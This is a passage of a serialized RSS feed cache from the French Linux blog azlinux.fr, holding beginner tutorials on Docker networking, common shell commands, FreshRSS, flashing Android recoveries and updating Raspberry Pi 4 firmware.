</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="nt">&#34;Driver&#34;</span><span class="p">:</span> <span class="s2">&#34;default&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">            <span class="nt">&#34;Options&#34;</span><span class="p">:</span> <span class="p">{},</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">            <span class="nt">&#34;Config&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">                    <span class="nt">&#34;Subnet&#34;</span><span class="p">:</span> <span class="s2">&#34;172.22.50.0/24&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">                    <span class="nt">&#34;IPRange&#34;</span><span class="p">:</span> <span class="s2">&#34;172.22.50.80/28&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">                    <span class="nt">&#34;Gateway&#34;</span><span class="p">:</span> <span class="s2">&#34;172.22.50.1&#34;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="p">]</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="nt">&#34;Internal&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="nt">&#34;Attachable&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="nt">&#34;Ingress&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="nt">&#34;ConfigFrom&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="nt">&#34;Network&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="nt">&#34;ConfigOnly&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="nt">&#34;Containers&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="nt">&#34;c2bbbb8daea0cdc9c0d4f9ea8c6c1bb82c72524a0ec965c984ceb46725151a57&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="nt">&#34;Name&#34;</span><span class="p">:</span> <span class="s2">&#34;adguardhome&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="nt">&#34;EndpointID&#34;</span><span class="p">:</span> <span class="s2">&#34;05e24d36874229b2583e2cf7b365f85eb90f910e708fe6b1a902849443821afd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="nt">&#34;MacAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;02:42:ac:16:32:51&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="nt">&#34;IPv4Address&#34;</span><span class="p">:</span> <span class="s2">&#34;172.22.50.81/24&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                <span class="nt">&#34;IPv6Address&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">            <span class="p">},</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">            <span class="nt">&#34;ca6c9368594b409487a584437a45dc41dabf816d44f8ec8c05a54239728a85e5&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="nt">&#34;Name&#34;</span><span class="p">:</span> <span class="s2">&#34;npm&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">                <span class="nt">&#34;EndpointID&#34;</span><span class="p">:</span> <span class="s2">&#34;5f4ba3a75356ec3e011b97f6b0b24c4a0d1bcd456601b54120c7b0dee5d513d5&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">                <span class="nt">&#34;MacAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;02:42:ac:16:32:55&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                <span class="nt">&#34;IPv4Address&#34;</span><span class="p">:</span> <span class="s2">&#34;172.22.50.85/24&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                <span class="nt">&#34;IPv6Address&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="nt">&#34;Options&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">            <span class="nt">&#34;parent&#34;</span><span class="p">:</span> <span class="s2">&#34;eth0&#34;</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="nt">&#34;Labels&#34;</span><span class="p">:</span> <span class="p">{}</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="p">]</span>
</span></span></code></pre></div><p>Ou alors :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker network ls
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="ln">1</span><span class="cl">NETWORK ID     NAME                   DRIVER    SCOPE
</span></span><span class="line"><span class="ln">2</span><span class="cl">f0e84feb2e8d   bridge                 bridge    local
</span></span><span class="line"><span class="ln">3</span><span class="cl">ba95fed45d66   docker_local_network   macvlan   local
</span></span><span class="line"><span class="ln">4</span><span class="cl">b8aa306ca6fd   host                   host      local
</span></span><span class="line"><span class="ln">5</span><span class="cl">ce5720c5c25b   none                   null      local
</span></span></code></pre></div><p>Maintenant que le réseau est créé, nous pouvons attribuer les IPs de <code>172.22.50.81</code> à <code>172.22.50.94</code> aux conteneurs.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:89;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:43:"7 commandes Linux que vous devez connaître";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/7-commandes-linux-que-vous-devez-connaitre/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 15 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/7-commandes-linux-que-vous-devez-connaitre/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5126:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post 7 commandes Linux que vous devez connaître" /><p>Sous Linux, il existe de nombreuses commandes utiles. Dans cet article, je vais partager plusieurs commandes qui peuvent être utiles.</p>
<h2 id="répéter-la-dernière-commande-exécutée">Répéter la dernière commande exécutée</h2>
<p>Vous n&rsquo;êtes pas connecté en tant que root et vous avez oublié sudo avant votre commande donc au lieu de tout réécrire, vous pouvez utiliser :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo !!
</span></span></code></pre></div><h2 id="estimer-lutilisation-de-lespace-des-fichiers">Estimer l&rsquo;utilisation de l&rsquo;espace des fichiers</h2>
<p>Vous connaissez la commande <code>df</code> pour mesurer l&rsquo;espace disque restant, mais vous voulez connaître la taille d&rsquo;un fichier, alors vous pouvez exécuter cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">du -sh .
</span></span></code></pre></div><h2 id="explorez-la-configuration-de-votre-matériel">Explorez la configuration de votre matériel</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y inxi
</span></span></code></pre></div><p>Exemple de la sortie de cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">CPU: Quad Core Model N/A <span class="o">(</span>-MCP-<span class="o">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">speed/min/max: 1200/600/2200 MHz
</span></span><span class="line"><span class="ln">3</span><span class="cl">Kernel: 5.10.92-v8+ aarch64 Up: 13h 25m
</span></span><span class="line"><span class="ln">4</span><span class="cl">Mem: 7021.9/7888.0 MiB <span class="o">(</span>89.0%<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">Storage: 232.89 GiB <span class="o">(</span>49.2% used<span class="o">)</span> Procs: <span class="m">165</span> Shell: Bash
</span></span><span class="line"><span class="ln">6</span><span class="cl">inxi: 3.3.01
</span></span></code></pre></div><p>Vous pouvez utiliser l&rsquo;option <code>-F</code> pour obtenir plus de détails.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">inxi -F
</span></span></code></pre></div><p>Il y a beaucoup d&rsquo;options que nous pouvons fournir, voir la documentation pour plus de détails <a class="link" href="https://smxi.org/docs/inxi-man.htm"  target="_blank" rel="noopener"
    >ici</a>.</p>
<h2 id="visualiser-les-programmes-connectés-au-réseau">Visualiser les programmes connectés au réseau</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y lsof
</span></span></code></pre></div><p>Pour plus d’explications sur cette commande, vous pouvez consulter le site <a class="link" href="https://explainshell.com/explain?cmd=lsof&#43;-P&#43;-i&#43;-n"  target="_blank" rel="noopener"
    >Explain Shell</a>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">lsof -P -i -n
</span></span></code></pre></div><h2 id="supprimez-tous-les-fichiers-qui-ne-correspondent-pas-à-une-certaine-extension-de-fichier">Supprimez tous les fichiers qui ne correspondent pas à une certaine extension de fichier</h2>
<p>Exemple si vous ne voulez garder que vos photos de vacances (^^)</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rm !<span class="o">(</span>*.jpeg<span class="p">|</span>*.jpg<span class="p">|</span>*.png<span class="o">)</span>
</span></span></code></pre></div><h2 id="remplacer-les-espaces-par-des-tirets-bas">Remplacer les espaces par des tirets bas</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rename <span class="s1">&#39;y/ /_/&#39;</span> *
</span></span></code></pre></div><h2 id="remplacer-les-majuscules-par-des-minuscules">Remplacer les majuscules par des minuscules</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">rename <span class="s1">&#39;y/A-Z/a-z/&#39;</span> *
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:90;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"Comment afficher les man-pages en couleur sous Linux ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:64:"https://azlinux.fr/afficher-les-man-pages-en-couleur-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:64:"https://azlinux.fr/afficher-les-man-pages-en-couleur-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:852:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment afficher les man-pages en couleur sous Linux ?" /><p>Tout d’abord, vous devez installer <code>most</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y most
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo update-alternatives --set pager /usr/bin/most
</span></span></code></pre></div><p>Voici un exemple du rendu du changement :</p>
<p><img src="https://azlinux.fr/uploads/f24fc6f689fb34796b92c054f696cdf8.webp"
	
	
	
	loading="lazy"
	
	
></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:91;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:51:"Comment installer FreshRSS facilement avec Docker ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/installer-freshrss-facilement-avec-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:61:"https://azlinux.fr/installer-freshrss-facilement-avec-docker/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2089:"<img src="https://azlinux.fr/uploads/8e2f30f717f1765789fdd193866e5c51.webp" alt="Featured image of post Comment installer FreshRSS facilement avec Docker ?" /><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">docker run -d <span class="se">\
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="se"></span>  --name<span class="o">=</span>freshrss <span class="se">\
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="se"></span>  -e <span class="nv">PUID</span><span class="o">=</span><span class="k">$(</span>id -u<span class="k">)</span> <span class="se">\
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="se"></span>  -e <span class="nv">PGID</span><span class="o">=</span><span class="k">$(</span>id -u<span class="k">)</span> <span class="se">\
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="se"></span>  -e <span class="nv">TZ</span><span class="o">=</span>Europe/Paris <span class="se">\
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="se"></span>  -p 80:80 <span class="se">\
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="se"></span>  -v /DATA/AppData/FreshRSS/config:/config <span class="se">\
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="se"></span>  --restart unless-stopped <span class="se">\
</span></span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="se"></span>  lscr.io/linuxserver/freshrss
</span></span></code></pre></div><p>Si vous utilisez YunoHost :</p>
<p><a class="link" href="https://install-app.yunohost.org/?app=freshrss"  target="_blank" rel="noopener"
    ><img src="https://azlinux.fr/uploads/5ea86b82bd8830af8c22648fb8aa22b9.webp"
	
	
	
	loading="lazy"
	
		alt="YunoHost"
	
	
></a></p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:92;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:46:"Comment installer OrangeFox sur votre mobile ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/installer-orangefox-sur-votre-mobile/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:56:"https://azlinux.fr/installer-orangefox-sur-votre-mobile/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1649:"<img src="https://azlinux.fr/uploads/1494961b458ea1133cf20611926f7511.webp" alt="Featured image of post Comment installer OrangeFox sur votre mobile ?" /><ol>
<li>Vous devez d&rsquo;abord installer adb, fastboot et télécharger <a class="link" href="https://orangefox.download/"  target="_blank" rel="noopener"
    >OrangeFox</a>.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y android-tools-adb android-tools-fastboot
</span></span></code></pre></div><ol start="2">
<li>
<p>Connectez votre mobile à votre PC via USB.</p>
</li>
<li>
<p>Exécutez cette commande ou lorsque l&rsquo;appareil est éteint, maintenez les touches Volume bas + Alimentation enfoncées.</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb reboot bootloader
</span></span></code></pre></div><ol start="4">
<li>Quand c&rsquo;est bon, lancez cette commande.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">fastboot devices
</span></span></code></pre></div><ol start="5">
<li>Installez OrangeFox sur votre mobile et redémarrez-le.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">fastboot flash recovery recovery.img
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:93;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:41:"Comment installer TWRP sur votre mobile ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:51:"https://azlinux.fr/installer-twrp-sur-votre-mobile/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:51:"https://azlinux.fr/installer-twrp-sur-votre-mobile/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1644:"<img src="https://azlinux.fr/uploads/c607e9b154fa31f557109a80c575d03d.webp" alt="Featured image of post Comment installer TWRP sur votre mobile ?" /><ol>
<li>Vous devez d&rsquo;abord installer adb, fastboot et télécharger <a class="link" href="https://twrp.me/Devices/"  target="_blank" rel="noopener"
    >TWRP</a>.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y android-tools-adb android-tools-fastboot
</span></span></code></pre></div><ol start="2">
<li>
<p>Connectez votre mobile à votre PC via USB.</p>
</li>
<li>
<p>Exécutez cette commande ou lorsque l&rsquo;appareil est éteint, maintenez les touches Volume bas + Alimentation enfoncées.</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">adb reboot bootloader
</span></span></code></pre></div><ol start="4">
<li>Quand c&rsquo;est bon, lancez cette commande.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">fastboot devices
</span></span></code></pre></div><ol start="5">
<li>Installez TWRP sur votre mobile et redémarrez-le.</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">fastboot flash recovery twrp-3.6.0_9-0-dipper.img
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:94;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"Comment mettre à jour le firmware du Raspberry Pi 4 ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/mettre-a-jour-le-firmware-du-raspberry-pi-4/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 08 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:63:"https://azlinux.fr/mettre-a-jour-le-firmware-du-raspberry-pi-4/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:7283:"<img src="https://azlinux.fr/uploads/87d6e95d0edd0b2d33144b1df4f43b35.webp" alt="Featured image of post Comment mettre à jour le firmware du Raspberry Pi 4 ?" /><p>Saviez-vous qu&rsquo;il était nécessaire de mettre à jour le firmware de votre Raspberry Pi manuellement ? Personnellement non, mais je vous conseille de vérifier rapidement si vous êtes à jour. Pourquoi vouloir mettre à jour le firmware ? Beaucoup de mises à jour sont faites au fur et à mesure, ce qui permet d&rsquo;améliorer le produit. Si vous avez des problèmes pour démarrer sur une clé USB ou un disque dur, il est probable que votre firmware ait quelques versions de retard.</p>
<p>Même si le paquet est normalement installé sur les dernières versions du système d&rsquo;exploitation Raspberry Pi, vous pouvez exécuter cette commande pour vérifier :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install rpi-eeprom
</span></span></code></pre></div><p>Pour savoir si vous devez effectuer une mise à niveau :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpi-eeprom-update
</span></span></code></pre></div><p>Si une mise à jour est disponible, vous pouvez la télécharger en arrière-plan en utilisant cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo rpi-eeprom-update -d -a
</span></span></code></pre></div><p>Sur mon Raspberry Pi 4, j&rsquo;avais presque un an de retard dans les mises à jour.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">***</span> <span class="n">INSTALLING</span> <span class="n">EEPROM</span> <span class="n">UPDATES</span> <span class="o">***</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">BOOTLOADER</span><span class="p">:</span> <span class="n">update</span> <span class="n">available</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">CURRENT</span><span class="p">:</span> <span class="n">Thu</span> <span class="mi">18</span> <span class="n">Mar</span> <span class="mi">08</span><span class="p">:</span><span class="mi">54</span><span class="p">:</span><span class="mi">11</span> <span class="n">UTC</span> <span class="mi">2021</span> <span class="p">(</span><span class="mi">1616057651</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">LATEST</span><span class="p">:</span> <span class="n">Tue</span> <span class="mi">25</span> <span class="n">Jan</span> <span class="mi">14</span><span class="p">:</span><span class="mi">30</span><span class="p">:</span><span class="mi">41</span> <span class="n">UTC</span> <span class="mi">2022</span> <span class="p">(</span><span class="mi">1643121041</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">RELEASE</span><span class="p">:</span> <span class="n">default</span> <span class="p">(</span><span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">firmware</span><span class="o">/</span><span class="n">raspberrypi</span><span class="o">/</span><span class="n">bootloader</span><span class="o">/</span><span class="n">default</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">Use</span> <span class="n">raspi</span><span class="o">-</span><span class="n">config</span> <span class="n">to</span> <span class="n">change</span> <span class="n">the</span> <span class="n">release</span><span class="o">.</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">VL805_FW</span><span class="p">:</span> <span class="n">Using</span> <span class="n">bootloader</span> <span class="n">EEPROM</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">VL805</span><span class="p">:</span> <span class="n">up</span> <span class="n">to</span> <span class="n">date</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">CURRENT</span><span class="p">:</span> <span class="mi">000138</span><span class="n">a1</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">LATEST</span><span class="p">:</span> <span class="mi">000138</span><span class="n">a1</span>
